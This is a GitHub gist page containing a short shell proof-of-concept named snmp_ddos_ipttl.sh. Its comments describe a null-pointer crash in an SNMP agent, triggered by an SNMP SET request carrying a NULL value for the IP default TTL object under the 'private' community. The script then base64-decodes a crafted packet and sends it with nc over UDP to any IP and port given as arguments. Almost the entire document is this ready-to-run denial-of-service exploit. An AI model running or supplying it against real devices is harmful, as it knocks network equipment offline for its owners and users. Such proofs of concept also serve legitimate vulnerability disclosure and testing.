Instantly share code, notes, and snippets.

menglong2234 / **snmp_ddos_ipttl.sh**

Created 26 days ago

☆ Star

<> Code   ○ Revisions   1

<> **snmp_ddos_ipttl.sh**

```sh
1    #!/bin/sh
2    ############### PoC for SNMP DDoS vulnerability ###############
3
4    # null-pointer-ref during handle SNMP requeset
5    # craft an SNMPSET packet with NULL varlist data
6
7    #SEQUENCE (3 elem)
8    #  INTEGER 1
9    #  OCTET STRING (7 byte) private
10   #  [3] (4 elem)
11   #    INTEGER 1732466076
12   #    INTEGER 0
13   #    INTEGER 0
14   #    SEQUENCE (1 elem)
15   #      SEQUENCE (2 elem)
16   #        OBJECT IDENTIFIER 1.3.6.1.2.1.4.2.0
17   #        NULL
18
19   if [ "$#" -ne 2 ]; then
20           echo "Usage: ./snmp_ddos_ipttl.sh IP PORT"
21   fi
22
23   IP=$1
24   PORT=$2
25
26   echo "MCoCAQEEB3ByaXZhdGWjHAIEZ0NVnAIBAAIBADAOMAwGCCsGAQIBBAIABQA=" | base64 -d | nc -u $IP $PORT
27
28   exit 1
```